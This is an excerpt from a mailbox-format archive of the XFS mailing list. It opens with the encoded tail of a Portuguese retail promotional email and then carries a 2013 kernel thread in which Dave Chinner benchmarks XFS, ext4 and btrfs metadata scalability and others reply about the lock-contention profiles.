    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D""
    S6812BABA 3007 AZUL
    Smartphone Galaxy Fame DuosBab=E1 Eletr=F4nica Siga-me Baby
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Dual Chip
      =0D • Android 4.1
      =0D • 5MP
      =0D • Tela 3.5" =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D"#" = 527 = ,12
    =C0 vista no boleto=0D
    ou em at=E9 1= 2x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    = =0D
      = • Alto Falante
      =0D • Digital
      =0D • Bivolt =
    =0D
    =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" = 183 = ,91
    =C0 vista no boleto<= /td>=0D
    ou em at=E9 12x no c= art=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D"" 3D=
    UN40F5200AGXZDHT-F6550W/ZD
    TV LED Samsung 40"Home Theater 3D Samsung
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Full HD
      =0D • HDMI
      =0D • USB
      =0D • Conversor Digital =
    =0D
    =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" 1.495 ,12
    =C0 vista no boleto=
    ou em at=E9 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Blu-ray
      =0D • Dual Core
      =0D • Bluetooth
      =0D • Wi-Fi =
    =0D
    =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#"= 3.079 ,= 12
    =C0 vista no boleto
    ou em at=E9 12x no= cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"02" 3D"03" 3D"04" 3D"05" 3D"06" 3D"07"
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D"08" 3D"09" = 3D"10" 3D"12" = 3D"13"
    =0D
    3D"14"
    =
    Pre=E7os e con= di=E7=F5es de pagamento v=E1lidos at=E9 10/07/2013 ou enquanto durarem noss= os estoques. Imagens meramente ilustrativas. =
    *Consulte sua regi=E3o<= /center>
    =0D =09=09=09=09=09=09=09=09=09=09=09

    Para garantir que nossos comunicados cheguem em sua = caixa de entrada,
    adicione o e-mail ofertadesegunda@girafa.com.= br ao seu catálogo de endereços.

    A Girafa r= espeita a sua privacidade e é contra o spam na rede.
    Se=20 você não deseja mais receber nossos e-mails, cancele sua inscrição aqui.
    =0D = --d747d1a204ce3ceaf6d1776f719993be-- From david@fromorbit.com Mon Jul 8 07:45:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C5DFA7F4E for ; Mon, 8 Jul 2013 07:45:04 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 44384AC004 for ; Mon, 8 Jul 2013 05:45:01 -0700 (PDT) X-ASG-Debug-ID: 1373287497-04cbb04691cb3220001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id XhWaLCHVGAMXgtC6 for ; Mon, 08 Jul 2013 05:44:58 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhkQADez2lF5LGhq/2dsb2JhbABagwmDHrkZhSMEAYEOF3SCIwEBBTocFg0QCBgDCRoLDwUlAzQeh3C4TxaOHQwPgR0HgwdpA5QAg1KRSYFYgUsqgSwBHw Received: from ppp121-44-104-106.lns20.syd6.internode.on.net (HELO dastard) ([121.44.104.106]) by ipmail05.adl6.internode.on.net with ESMTP; 08 Jul 2013 22:14:57 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UwAoH-0001su-HL; Mon, 08 Jul 2013 22:44:53 +1000 Date: Mon, 8 Jul 2013 22:44:53 +1000 From: Dave Chinner To: xfs@oss.sgi.com Cc: linux-fsdevel@vger.kernel.org Subject: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) Message-ID: <20130708124453.GC3438@dastard> X-ASG-Orig-Subj: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) References: <1372657476-9241-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1372657476-9241-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1373287498 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136164 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- [cc fsdevel because after all the XFS stuff I did a some testing on mmotm w.r.t per-node LRU lock contention avoidance, and also some scalability tests against ext4 and btrfs for comparison on some new hardware. That bit ain't pretty. ] On Mon, Jul 01, 2013 at 03:44:36PM +1000, Dave Chinner wrote: > From: Dave Chinner > > Note: This is an RFC right now - it'll need to be broken up into > several patches for final submission. > > The CIL insertion during transaction commit currently does multiple > passes across the transaction objects and requires multiple memory > allocations per object that is to be inserted into the CIL. It is > quite inefficient, and as such xfs_log_commit_cil() and it's > children show up quite highly in profiles under metadata > modification intensive workloads. > > The current insertion tries to minimise ithe number of times the > xc_cil_lock is grabbed and the hold times via a couple of methods: > > 1. an initial loop across the transaction items outside the > lock to allocate log vectors, buffers and copy the data into > them. > 2. a second pass across the log vectors that then inserts > them into the CIL, modifies the CIL state and frees the old > vectors. > > This is somewhat inefficient. While it minimises lock grabs, the > hold time is still quite high because we are freeing objects with > the spinlock held and so the hold times are much higher than they > need to be. > > Optimisations that can be made: ..... > > The result is that my standard fsmark benchmark (8-way, 50m files) > on my standard test VM (8-way, 4GB RAM, 4xSSD in RAID0, 100TB fs) > gives the following results with a xfs-oss tree. No CRCs: > > vanilla patched Difference > create (time) 483s 435s -10.0% (faster) > (rate) 109k+/6k 122k+/-7k +11.9% (faster) > > walk 339s 335s (noise) > (sys cpu) 1134s 1135s (noise) > > unlink 692s 645s -6.8% (faster) > > So it's significantly faster than the current code, and lock_stat > reports lower contention on the xc_cil_lock, too. So, big win here. > > With CRCs: > > vanilla patched Difference > create (time) 510s 460s -9.8% (faster) > (rate) 105k+/5.4k 117k+/-5k +11.4% (faster) > > walk 494s 486s (noise) > (sys cpu) 1324s 1290s (noise) > > unlink 959s 889s -7.3% (faster) > > Gains are of the same order, with walk and unlink still affected by > VFS LRU lock contention. IOWs, with this changes, filesystems with > CRCs enabled will still be faster than the old non-CRC kernels... FWIW, I have new hardware here that I'll be using for benchmarking like this, so here's a quick baseline comparison using the same 8p/4GB RAM VM (just migrated across) and same SSD based storage (physically moved) and 100TB filesystem. The disks are behind a faster RAID controller w/ 1GB of BBWC, so random read and write IOPS are higher and hence traversal times will due to lower IO latency. Create times wall time(s) rate (files/s) vanilla patched diff vanilla patched diff Old system 483 435 -10.0% 109k+-6k 122k+-7k +11.9% New system 378 342 -9.5% 143k+-9k 158k+-8k +10.5% diff -21.7% -21.4% +31.2% +29.5% Walk times wall time(s) vanilla patched diff Old system 339 335 (noise) New system 194 197 (noise) diff -42.7% -41.2% Unlink times wall time(s) vanilla patched diff Old system 692 645 -7.3% New system 457 405 -11.4% diff -34.0% -37.2% So, overall, the new system is 20-40% faster than the old one on a comparitive test. but I have a few more cores and a lot more memory to play with, so a 16-way test on the same machine with the VM expanded to 16p/16GB RAM, 4 fake numa nodes follows: New system, patched kernel: Threads create walk unlink time(s) rate time(s) time(s) 8 342 158k+-8k 197 405 16 222 266k+-32k 170 295 diff -35.1% +68.4% -13.7% -27.2% Create rates are much more variable because the memory reclaim behaviour appears to be very harsh, pulling 4-6 million inodes out of memory every 10s or so and thrashing on the LRU locks, and then doing nothing until another large step occurs. Walk rates improve, but not much because of lock contention. I added 8 cpu cores to the workload, and I'm burning at least 4 of those cores on the inode LRU lock. - 30.61% [kernel] [k] __ticket_spin_trylock - __ticket_spin_trylock - 65.33% _raw_spin_lock + 88.19% inode_add_lru + 7.31% dentry_lru_del + 1.07% shrink_dentry_list + 0.90% dput + 0.83% inode_sb_list_add + 0.59% evict + 27.79% do_raw_spin_lock + 4.03% do_raw_spin_trylock + 2.85% _raw_spin_trylock The current mmotm (and hence probably 3.11) has the new per-node LRU code in it, so this variance and contention should go away very soon. Unlinks go lots faster because they don't cause inode LRU lock contention, but we are still a long way from linear scalability from 8- to 16-way. FWIW, the mmotm kernel (which has a fair bit of debug enabled, so not quite comparitive) doesn't have any LRU lock contention to speak of. For create: - 7.81% [kernel] [k] __ticket_spin_trylock - __ticket_spin_trylock - 70.98% _raw_spin_lock + 97.55% xfs_log_commit_cil + 0.93% __d_instantiate + 0.58% inode_sb_list_add - 29.02% do_raw_spin_lock - _raw_spin_lock + 41.14% xfs_log_commit_cil + 8.29% _xfs_buf_find + 8.00% xfs_iflush_cluster And the walk: - 26.37% [kernel] [k] __ticket_spin_trylock - __ticket_spin_trylock - 49.10% _raw_spin_lock - 50.65% evict dispose_list prune_icache_sb super_cache_scan + shrink_slab - 26.99% list_lru_add + 89.01% inode_add_lru + 10.95% dput + 7.03% __remove_inode_hash - 40.65% do_raw_spin_lock - _raw_spin_lock - 41.96% evict dispose_list prune_icache_sb super_cache_scan + shrink_slab - 13.55% list_lru_add 84.33% inode_add_lru iput d_kill shrink_dentry_list prune_dcache_sb super_cache_scan shrink_slab 15.01% dput 0.66% xfs_buf_rele + 10.10% __remove_inode_hash system_call_fastpath There's quite a different pattern of contention - it has moved inward to evict which implies the inode_sb_list_lock is the next obvious point of contention. I have patches in the works for that. Also, the inode_hash_lock is causing some contention, even though we fake inode hashing. I have a patch to fix that for XFS as well. I also note an interesting behaviour of the per-node inode LRUs - the contention is coming from the dentry shrinker on one node freeing inodes allocated on a different node during reclaim. There's scope for improvement there. But here' the interesting part: Kernel create walk unlink time(s) rate time(s) time(s) 3.10-cil 222 266k+-32k 170 295 mmotm 251 222k+-16k 128 356 Even with all the debug enabled, the overall walk time dropped by 25% to 128s. So performance in this workload has substantially improved because of the per-node LRUs and variability is also down as well, as predicted. Once I add all the tweaks I have in the 3.10-cil tree to mmotm, I expect significant improvements to create and unlink performance as well... So, lets look at ext4 vs btrfs vs XFS at 16-way (this is on the 3.10-cil kernel I've been testing XFS on): create walk unlink time(s) rate time(s) time(s) xfs 222 266k+-32k 170 295 ext4 978 54k+- 2k 325 2053 btrfs 1223 47k+- 8k 366 12000(*) (*) Estimate based on a removal rate of 18.5 minutes for the first 4.8 million inodes. Basically, neither btrfs or ext4 have any concurrency scaling to demonstrate, and unlinks on btrfs a just plain woeful. ext4 create rate is limited by the extent cache LRU locking: - 41.81% [kernel] [k] __ticket_spin_trylock - __ticket_spin_trylock - 60.67% _raw_spin_lock - 99.60% ext4_es_lru_add + 99.63% ext4_es_lookup_extent - 39.15% do_raw_spin_lock - _raw_spin_lock + 95.38% ext4_es_lru_add 0.51% insert_inode_locked __ext4_new_inode - 16.20% [kernel] [k] native_read_tsc - native_read_tsc - 60.91% delay_tsc __delay do_raw_spin_lock + _raw_spin_lock - 39.09% __delay do_raw_spin_lock + _raw_spin_lock Ext4 unlink is serialised on orphan list processing: - 12.67% [kernel] [k] __mutex_unlock_slowpath - __mutex_unlock_slowpath - 99.95% mutex_unlock + 54.37% ext4_orphan_del + 43.26% ext4_orphan_add + 5.33% [kernel] [k] __mutex_lock_slowpath btrfs create has tree lock problems: - 21.68% [kernel] [k] __write_lock_failed - __write_lock_failed - 99.93% do_raw_write_lock - _raw_write_lock - 79.04% btrfs_try_tree_write_lock - btrfs_search_slot - 97.48% btrfs_insert_empty_items 99.82% btrfs_new_inode + 2.52% btrfs_lookup_inode - 20.37% btrfs_tree_lock - 99.38% btrfs_search_slot 99.92% btrfs_insert_empty_items 0.52% btrfs_lock_root_node btrfs_search_slot btrfs_insert_empty_items - 21.24% [kernel] [k] _raw_spin_unlock_irqrestore - _raw_spin_unlock_irqrestore - 61.22% prepare_to_wait + 61.52% btrfs_tree_lock + 32.31% btrfs_tree_read_lock 6.17% reserve_metadata_bytes btrfs_block_rsv_add btrfs walk phase hammers the inode_hash_lock: - 18.45% [kernel] [k] __ticket_spin_trylock - __ticket_spin_trylock - 47.38% _raw_spin_lock + 42.99% iget5_locked + 15.17% __remove_inode_hash + 13.77% btrfs_get_delayed_node + 11.27% inode_tree_add + 9.32% btrfs_destroy_inode ..... - 46.77% do_raw_spin_lock - _raw_spin_lock + 30.51% iget5_locked + 11.40% __remove_inode_hash + 11.38% btrfs_get_delayed_node + 9.45% inode_tree_add + 7.28% btrfs_destroy_inode ..... I have a RCU inode hash lookup patch floating around somewhere if someone wants it... And, well, the less said about btrfs unlinks the better: + 37.14% [kernel] [k] _raw_spin_unlock_irqrestore + 33.18% [kernel] [k] __write_lock_failed + 17.96% [kernel] [k] __read_lock_failed + 1.35% [kernel] [k] _raw_spin_unlock_irq + 0.82% [kernel] [k] __do_softirq + 0.53% [kernel] [k] btrfs_tree_lock + 0.41% [kernel] [k] btrfs_tree_read_lock + 0.41% [kernel] [k] do_raw_read_lock + 0.39% [kernel] [k] do_raw_write_lock + 0.38% [kernel] [k] btrfs_clear_lock_blocking_rw + 0.37% [kernel] [k] free_extent_buffer + 0.36% [kernel] [k] btrfs_tree_read_unlock + 0.32% [kernel] [k] do_raw_write_unlock Cheers, Dave. -- Dave Chinner david@fromorbit.com From serge.hallyn@ubuntu.com Mon Jul 8 08:06:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D2ADA7F3F for ; Mon, 8 Jul 2013 08:06:38 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B36E88F8033 for ; Mon, 8 Jul 2013 06:06:35 -0700 (PDT) X-ASG-Debug-ID: 1373288793-04bdf02b8eaa40e0001-NocioJ Received: from youngberry.canonical.com (youngberry.canonical.com [91.189.89.112]) by cuda.sgi.com with ESMTP id JcWtlR9rWHKhIo6q for ; Mon, 08 Jul 2013 06:06:34 -0700 (PDT) X-Barracuda-Envelope-From: serge.hallyn@ubuntu.com X-Barracuda-Apparent-Source-IP: 91.189.89.112 Received: from [99.31.157.6] (helo=ac100) by youngberry.canonical.com with esmtpsa (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16) (Exim 4.71) (envelope-from ) id 1UwB9C-0007P5-FT; Mon, 08 Jul 2013 13:06:30 +0000 Date: Mon, 8 Jul 2013 08:09:24 -0500 From: Serge Hallyn To: Dwight Engen Cc: Dave Chinner , "Eric W. Biederman" , xfs@oss.sgi.com, Brian Foster Subject: Re: [PATCH v2 RFC] userns: Convert xfs to use kuid/kgid where appropriate Message-ID: <20130708130924.GA11554@ac100> X-ASG-Orig-Subj: Re: [PATCH v2 RFC] userns: Convert xfs to use kuid/kgid where appropriate References: <20130619110948.0bfafa2b@oracle.com> <20130620001341.GM29338@dastard> <20130620095410.1917d235@oracle.com> <20130620220311.GT29376@dastard> <20130621111420.5592707e@oracle.com> <20130624003316.GH29376@dastard> <20130624091035.6274800f@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130624091035.6274800f@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: youngberry.canonical.com[91.189.89.112] X-Barracuda-Start-Time: 1373288793 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136166 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Created some userns containers on xfs and did some package building and installation there. All seemed fine, thanks! From jack@suse.cz Mon Jul 8 08:59:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3486B7F37 for ; Mon, 8 Jul 2013 08:59:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 20F2B8F8066 for ; Mon, 8 Jul 2013 06:59:56 -0700 (PDT) X-ASG-Debug-ID: 1373291995-04cb6c2a46a0d250001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id CQoxZtmI2lXPcEfN for ; Mon, 08 Jul 2013 06:59:55 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 2436EA398F; Mon, 8 Jul 2013 15:59:55 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id 6080380E5E; Mon, 8 Jul 2013 15:59:53 +0200 (CEST) Date: Mon, 8 Jul 2013 15:59:53 +0200 From: Jan Kara To: Dave Chinner Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) Message-ID: <20130708135953.GF5988@quack.suse.cz> X-ASG-Orig-Subj: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) References: <1372657476-9241-1-git-send-email-david@fromorbit.com> <20130708124453.GC3438@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130708124453.GC3438@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1373291995 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136170 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon 08-07-13 22:44:53, Dave Chinner wrote: > So, lets look at ext4 vs btrfs vs XFS at 16-way (this is on the > 3.10-cil kernel I've been testing XFS on): > > create walk unlink > time(s) rate time(s) time(s) > xfs 222 266k+-32k 170 295 > ext4 978 54k+- 2k 325 2053 > btrfs 1223 47k+- 8k 366 12000(*) > > (*) Estimate based on a removal rate of 18.5 minutes for the first > 4.8 million inodes. > > Basically, neither btrfs or ext4 have any concurrency scaling to > demonstrate, and unlinks on btrfs a just plain woeful. Thanks for posting the numbers. There isn't anyone seriously testing ext4 SMP scalability AFAIK so it's not surprising it sucks. > ext4 create rate is limited by the extent cache LRU locking: > > - 41.81% [kernel] [k] __ticket_spin_trylock > - __ticket_spin_trylock > - 60.67% _raw_spin_lock > - 99.60% ext4_es_lru_add > + 99.63% ext4_es_lookup_extent At least this should improve with the patches in 3.11-rc1. > - 39.15% do_raw_spin_lock > - _raw_spin_lock > + 95.38% ext4_es_lru_add > 0.51% insert_inode_locked > __ext4_new_inode > - 16.20% [kernel] [k] native_read_tsc > - native_read_tsc > - 60.91% delay_tsc > __delay > do_raw_spin_lock > + _raw_spin_lock > - 39.09% __delay > do_raw_spin_lock > + _raw_spin_lock > > Ext4 unlink is serialised on orphan list processing: > > - 12.67% [kernel] [k] __mutex_unlock_slowpath > - __mutex_unlock_slowpath > - 99.95% mutex_unlock > + 54.37% ext4_orphan_del > + 43.26% ext4_orphan_add > + 5.33% [kernel] [k] __mutex_lock_slowpath ext4 can do better here I'm sure. The current solution is pretty simplistic. At least we could use spinlock for in-memory orphan list and atomic ops for on disk one (as it's only singly linked list). But not sure if I find time to look into this in forseeable future... Honza -- Jan Kara SUSE Labs, CR From marco.stornelli@gmail.com Mon Jul 8 10:29:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 022767F37 for ; Mon, 8 Jul 2013 10:29:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 75B5FAC071 for ; Mon, 8 Jul 2013 08:29:53 -0700 (PDT) X-ASG-Debug-ID: 1373297391-04cb6c2a42a15e50001-NocioJ Received: from mail-ee0-f43.google.com (mail-ee0-f43.google.com [74.125.83.43]) by cuda.sgi.com with ESMTP id uTDD8YbwmgenK1tG (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 08 Jul 2013 08:29:52 -0700 (PDT) X-Barracuda-Envelope-From: marco.stornelli@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.83.43 Received: by mail-ee0-f43.google.com with SMTP id l10so2915638eei.2 for ; Mon, 08 Jul 2013 08:29:51 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=w1ckXj3Rlj93BBRbyD9a9i7yw5tCmGPYmmW1uiYIApI=; b=Ma80nvHCfCMdTn4o5lTqrHisvyskWlxbBbJVv+He11pRnjGU8IFLaIlSm74eVs7HIW dMo45j4qJfwV5qWHOmAgITT9P60vGDgFmfFxwWQNf925l5qX2485wcUNgCsy1N+soc+r qy/bx0t7vdx+f1AIkmsnxFvGXpX0ZIaVSLjon6iZDCtvUkdak/UY6bucdUYE5AtXcMbg X9EGP/mN6IjE8w/ESaWVvpqIYtH1oB1XKSZbDsf1ryOEpz4xB4AL00+8Zz5R3styi9cZ DMX2P56ekT86yZJZ4im+sRqtfSfeqMYFRaAiEuwNTb1lYLJgO+8t03Kb4uvCOaB+dtz2 PMDA== X-Received: by 10.15.64.68 with SMTP id n44mr21163397eex.73.1373297391361; Mon, 08 Jul 2013 08:29:51 -0700 (PDT) Received: from [192.168.0.100] (host4-7-dynamic.0-79-r.retail.telecomitalia.it. [79.0.7.4]) by mx.google.com with ESMTPSA id i2sm43017059eeu.4.2013.07.08.08.29.48 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 08 Jul 2013 08:29:49 -0700 (PDT) Message-ID: <51DAD943.6050703@gmail.com> Date: Mon, 08 Jul 2013 17:22:43 +0200 From: Marco Stornelli User-Agent: Mozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/20130510 Thunderbird/17.0.6 MIME-Version: 1.0 To: Jan Kara CC: Dave Chinner , xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) References: <1372657476-9241-1-git-send-email-david@fromorbit.com> <20130708124453.GC3438@dastard> <20130708135953.GF5988@quack.suse.cz> X-ASG-Orig-Subj: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) In-Reply-To: <20130708135953.GF5988@quack.suse.cz> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-ee0-f43.google.com[74.125.83.43] X-Barracuda-Start-Time: 1373297392 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136176 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Il 08/07/2013 15:59, Jan Kara ha scritto: > On Mon 08-07-13 22:44:53, Dave Chinner wrote: > >> So, lets look at ext4 vs btrfs vs XFS at 16-way (this is on the >> 3.10-cil kernel I've been testing XFS on): >> >> create walk unlink >> time(s) rate time(s) time(s) >> xfs 222 266k+-32k 170 295 >> ext4 978 54k+- 2k 325 2053 >> btrfs 1223 47k+- 8k 366 12000(*) >> >> (*) Estimate based on a removal rate of 18.5 minutes for the first >> 4.8 million inodes. >> >> Basically, neither btrfs or ext4 have any concurrency scaling to >> demonstrate, and unlinks on btrfs a just plain woeful. > Thanks for posting the numbers. There isn't anyone seriously testing ext4 > SMP scalability AFAIK so it's not surprising it sucks. Funny, if I well remember Google guys switched android from yaffs2 to ext4 due to its superiority on SMP :) Marco From jack@suse.cz Mon Jul 8 10:38:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AE39A7F37 for ; Mon, 8 Jul 2013 10:38:12 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 586B9AC009 for ; Mon, 8 Jul 2013 08:38:12 -0700 (PDT) X-ASG-Debug-ID: 1373297890-04bdf02b8eab1470001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id uKDCw6uatnIrMHVU for ; Mon, 08 Jul 2013 08:38:10 -0700 (PDT) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id CB0F1A0FED; Mon, 8 Jul 2013 17:38:09 +0200 (CEST) Received: by quack.suse.cz (Postfix, from userid 1000) id 02F8A80E5E; Mon, 8 Jul 2013 17:38:08 +0200 (CEST) Date: Mon, 8 Jul 2013 17:38:07 +0200 From: Jan Kara To: Marco Stornelli Cc: Jan Kara , Dave Chinner , xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) Message-ID: <20130708153807.GC12743@quack.suse.cz> X-ASG-Orig-Subj: Re: Some baseline tests on new hardware (was Re: [PATCH] xfs: optimise CIL insertion during transaction commit [RFC]) References: <1372657476-9241-1-git-send-email-david@fromorbit.com> <20130708124453.GC3438@dastard> <20130708135953.GF5988@quack.suse.cz> <51DAD943.6050703@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51DAD943.6050703@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1373297890 X-Barracuda-URL: 